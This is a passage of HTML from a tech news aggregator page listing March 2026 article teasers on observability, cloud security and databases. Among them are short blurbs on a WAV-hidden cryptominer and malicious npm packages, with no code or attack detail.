          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-beyond-the-good-first-issue-how-to-make-your-contributions-sustainable"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>OpenTelemetry provides the tools and standards to collect metrics, logs, and traces from applications and services. Getting started with contributions can feel overwhelming, so here are some lessons f</p>
<p><strong>📅 Mar 19, 2026</strong> • <strong>📰 OpenTelemetry Blog</strong></p>
<p><a href="https://opentelemetry.io/blog/2026/alternative-approaches-to-contributing/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-optimizing-cluster-observability-a-strategic-approach-to-selective-log-routing-in-red-hat-openshift" class="group relative scroll-mt-24">
        <a href="#h3-optimizing-cluster-observability-a-strategic-approach-to-selective-log-routing-in-red-hat-openshift" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Optimizing cluster observability: A strategic approach to selective log routing in Red Hat OpenShift
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-optimizing-cluster-observability-a-strategic-approach-to-selective-log-routing-in-red-hat-openshift"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As Red Hat OpenShift clusters scale to support hundreds of microservices, the sheer volume of telemetry data can become overwhelming. Platform architects often face a difficult paradox: Maintain visib</p>
<p><strong>📅 Mar 19, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/optimizing-cluster-observability-strategic-approach-selective-log-routing-red-hat-openshift"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-youre-probably-overdue-for-a-sentry-sdk-upgrade" class="group relative scroll-mt-24">
        <a href="#h3-youre-probably-overdue-for-a-sentry-sdk-upgrade" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 You're probably overdue for a Sentry SDK upgrade
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-youre-probably-overdue-for-a-sentry-sdk-upgrade"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Session Replay. Structured logs. AI monitoring. Automatic OpenTelemetry tracing. Feature flag tracking. If you haven&#39;t seen these in your Sentry dashboard, your...</p>
<p><strong>📅 Mar 19, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/overdue-for-a-sentry-sdk-upgrade/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-deploy-production-generative-ai-at-the-edge-using-amazon-eks-hybrid-nodes-with-nvidia-dgx" class="group relative scroll-mt-24">
        <a href="#h3-deploy-production-generative-ai-at-the-edge-using-amazon-eks-hybrid-nodes-with-nvidia-dgx" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Deploy production generative AI at the edge using Amazon EKS Hybrid Nodes with NVIDIA DGX
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-deploy-production-generative-ai-at-the-edge-using-amazon-eks-hybrid-nodes-with-nvidia-dgx"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This post demonstrates a real-world example of integrating EKS Hybrid Nodes with NVIDIA DGX Spark, a compact and energy-efficient GPU platform optimized for edge AI deployment. In this post we walk yo</p>
<p><strong>📅 Mar 18, 2026</strong> • <strong>📰 AWS Containers Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/containers/deploy-production-generative-ai-at-the-edge-using-amazon-eks-hybrid-nodes-with-nvidia-dgx/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-mastodon-runs-opentelemetry-collectors-in-production" class="group relative scroll-mt-24">
        <a href="#h3-how-mastodon-runs-opentelemetry-collectors-in-production" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How Mastodon Runs OpenTelemetry Collectors in Production
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-mastodon-runs-opentelemetry-collectors-in-production"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>At the beginning of 2025, the OpenTelemetry Developer Experience SIG published the results of its first community survey. One of the strongest themes was clear: teams want more real-world examples of </p>
<p><strong>📅 Mar 18, 2026</strong> • <strong>📰 OpenTelemetry Blog</strong></p>
<p><a href="https://opentelemetry.io/blog/2026/devex-mastodon/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-security" class="group relative scroll-mt-24">
        <a href="#h2-security" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔐 Security
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-security"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="group relative scroll-mt-24">
        <a href="#h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Threats Making WAVs - Incident Response to a Cryptomining Attack
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Guardicore security researchers describe and uncover a full analysis of a cryptomining attack, which hid a cryptominer inside WAV files. The report includes the full attack vectors, from detection, in</p>
<p><strong>📅 Mar 23, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/threats-making-wavs-incident-reponse-cryptomining-attack"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-two-malicious-npm-packages-aim-to-steal-credentials-and-other-secrets" class="group relative scroll-mt-24">
        <a href="#h3-two-malicious-npm-packages-aim-to-steal-credentials-and-other-secrets" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Two Malicious npm Packages Aim to Steal Credentials and Other Secrets
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-two-malicious-npm-packages-aim-to-steal-credentials-and-other-secrets"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Bad actors took over a npm maintainer account and have published two malicious packages designed to steal credentials, API keys, and other secrets from the computers of victims who download them from </p>
<p><strong>📅 Mar 23, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/two-malicious-npm-packages-aim-to-steal-credentials-and-other-secrets/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-state-of-cloud-native-security-2026-maturity-gaps-and-the-automation-mandate" class="group relative scroll-mt-24">
        <a href="#h3-the-state-of-cloud-native-security-2026-maturity-gaps-and-the-automation-mandate" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The state of cloud-native security 2026: Maturity gaps and the automation mandate
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-state-of-cloud-native-security-2026-maturity-gaps-and-the-automation-mandate"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Hybrid cloud security isn’t just getting harder—it’s reaching a breaking point. While security has always been a race without a finish line, Red Hat’s 2026 State of Cloud-Native Security Report reveal</p>
<p><strong>📅 Mar 23, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/state-cloud-native-security-2026-maturity-gaps-and-automation-mandate"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-what-a-security-audit-of-22511-ai-coding-skills-found-lurking-in-the-code" class="group relative scroll-mt-24">
        <a href="#h3-what-a-security-audit-of-22511-ai-coding-skills-found-lurking-in-the-code" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What a security audit of 22,511 AI coding skills found lurking in the code
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-a-security-audit-of-22511-ai-coding-skills-found-lurking-in-the-code"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI coding agents have spawned a new software supply chain, and a new study suggests the proliferation of new agents The post What a security audit of 22,511 AI coding skills found lurking in the code </p>
<p><strong>📅 Mar 22, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/ai-agent-skills-security/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-aws-datasync-now-supports-aws-secrets-manager-for-all-location-types" class="group relative scroll-mt-24">
        <a href="#h3-aws-datasync-now-supports-aws-secrets-manager-for-all-location-types" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AWS DataSync now supports AWS Secrets Manager for all location types
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-aws-datasync-now-supports-aws-secrets-manager-for-all-location-types"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AWS DataSync now supports AWS Secrets Manager for credential management across all location types, including Hadoop Distributed File System (HDFS), Amazon FSx for Windows File Server, and Amazon FSx f</p>
<p><strong>📅 Mar 20, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/03/aws-datasync-secrets-manager/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-next-era-of-appsec-why-ai-generated-code-needs-offensive-dynamic-testing" class="group relative scroll-mt-24">
        <a href="#h3-the-next-era-of-appsec-why-ai-generated-code-needs-offensive-dynamic-testing" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Next Era of AppSec: Why AI-Generated Code Needs Offensive Dynamic Testing
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-next-era-of-appsec-why-ai-generated-code-needs-offensive-dynamic-testing"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Static analysis tells you what might be vulnerable, but dynamic testing tells you what is actually exploitable. Learn why the next era of AppSec requires combining code-level context with live environ</p>
<p><strong>📅 Mar 20, 2026</strong> • <strong>📰 Snyk Blog</strong></p>
<p><a href="https://snyk.io/blog/the-next-era-of-appsec-why-ai-generated-code-needs-offensive-dynamic-testing/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-announcing-etcd-operator-v020" class="group relative scroll-mt-24">
        <a href="#h3-announcing-etcd-operator-v020" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Announcing etcd-operator v0.2.0
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-announcing-etcd-operator-v020"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Introduction Today, we are excited to announce the release of etcd-operator v0.2.0! This release brings important new features and improvements that enhance security, reliability, and operability for </p>
<p><strong>📅 Mar 20, 2026</strong> • <strong>📰 etcd Blog</strong></p>
<p><a href="https://etcd.io/blog/2026/announcing-etcd-operator-v0.2.0/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-zachary-gruenberg-on-machine-identity-security-in-the-age" class="group relative scroll-mt-24">
        <a href="#h3-zachary-gruenberg-on-machine-identity-security-in-the-age" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Zachary Gruenberg on Machine Identity Security in the Age
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-zachary-gruenberg-on-machine-identity-security-in-the-age"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Palo Alto Networks Solution Engineer Zachary Gruenberg joins the ShipTalk podcast at SREday NYC 2026 to discuss machine identity security, AI agents, and how SRE teams can manage identity sprawl. | Bl</p>
<p><strong>📅 Mar 19, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/zachary-gruenberg-on-machine-identity-security-in-the-age-of-ai"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-is-building-your-attack-surface-are-you-testing-it" class="group relative scroll-mt-24">
        <a href="#h3-ai-is-building-your-attack-surface-are-you-testing-it" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI Is Building Your Attack Surface. Are You Testing It?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-is-building-your-attack-surface-are-you-testing-it"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Speed has outpaced validation. With 62% of LLM-generated code testing as insecure and AI agents using undocumented APIs, legacy tools fall short. Learn how Snyk’s AI-powered dynamic testing secures yo</p>
<p><strong>📅 Mar 19, 2026</strong> • <strong>📰 Snyk Blog</strong></p>
<p><a href="https://snyk.io/blog/ai-is-building-your-attack-surface-are-you-testing-it/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-introducing-custom-regions-for-precision-data-control" class="group relative scroll-mt-24">
        <a href="#h3-introducing-custom-regions-for-precision-data-control" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing Custom Regions for precision data control
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-custom-regions-for-precision-data-control"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We are expanding Regional Services with new pre-defined regions and the launch of Custom Regions. Customers can now define precise geographical boundaries for data processing, tailored to meet their c</p>
<p><strong>📅 Mar 18, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/custom-regions/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-snyk-opens-san-francisco-innovation-hub" class="group relative scroll-mt-24">
        <a href="#h3-snyk-opens-san-francisco-innovation-hub" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Snyk Opens San Francisco Innovation Hub
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-snyk-opens-san-francisco-innovation-hub"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Snyk is opening a new innovation hub in downtown San Francisco, creating a strategic center of gravity for AI security. This new community space invites all Bay Area builders to join weekly hackathons</p>
<p><strong>📅 Mar 18, 2026</strong> • <strong>📰 Snyk Blog</strong></p>
<p><a href="https://snyk.io/blog/snyk-san-francisco-innovation-hub/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-blog-falco-at-kubecon-europe-2026-see-you-in-amsterdam" class="group relative scroll-mt-24">
        <a href="#h3-blog-falco-at-kubecon-europe-2026-see-you-in-amsterdam" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Blog: Falco at KubeCon Europe 2026 — See You in Amsterdam! 🐦
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-blog-falco-at-kubecon-europe-2026-see-you-in-amsterdam"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We&#39;re excited to share that the Falco community will be at KubeCon + CloudNativeCon Europe 2026 in Amsterdam! Whether you&#39;re a long-time contributor, a curious user, or just want to say hi, we&#39;d love </p>
<p><strong>📅 Mar 18, 2026</strong> • <strong>📰 Falco Blog</strong></p>
<p><a href="https://falco.org/blog/kubecon-eu-2026/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-databases" class="group relative scroll-mt-24">
        <a href="#h2-databases" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          💾 Databases
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-databases"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-tidb-cloud-zero-public-preview-get-a-database-in-1-second-claim-it-in-3-clicks" class="group relative scroll-mt-24">
        <a href="#h3-tidb-cloud-zero-public-preview-get-a-database-in-1-second-claim-it-in-3-clicks" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 TiDB Cloud Zero Public Preview: Get a Database in 1 Second, Claim It in 3 Clicks
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-tidb-cloud-zero-public-preview-get-a-database-in-1-second-claim-it-in-3-clicks"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We’re excited to announce that TiDB Cloud Zero is now available in Public Preview. TiDB Cloud Zero is designed for a new generation of AI agents and developers who want instant access to a real produc</p>
<p><strong>📅 Mar 23, 2026</strong> • <strong>📰 TiDB Blog</strong></p>
<p><a href="https://www.pingcap.com/blog/tidb-cloud-zero-public-preview/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-hyderabad-postgres-days-2026-announcement-and-cfpcfs" class="group relative scroll-mt-24">
        <a href="#h3-hyderabad-postgres-days-2026-announcement-and-cfpcfs" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Hyderabad Postgres Days 2026: Announcement and CFP/CFS
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-hyderabad-postgres-days-2026-announcement-and-cfpcfs"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>After two wonderful community-led editions in 2024 and 2025, Hyderabad PGDays returns, continuing its journey as a regular gathering place for PostgreSQL users, contributors, operators, and enthusiast</p>
<p><strong>📅 Mar 21, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
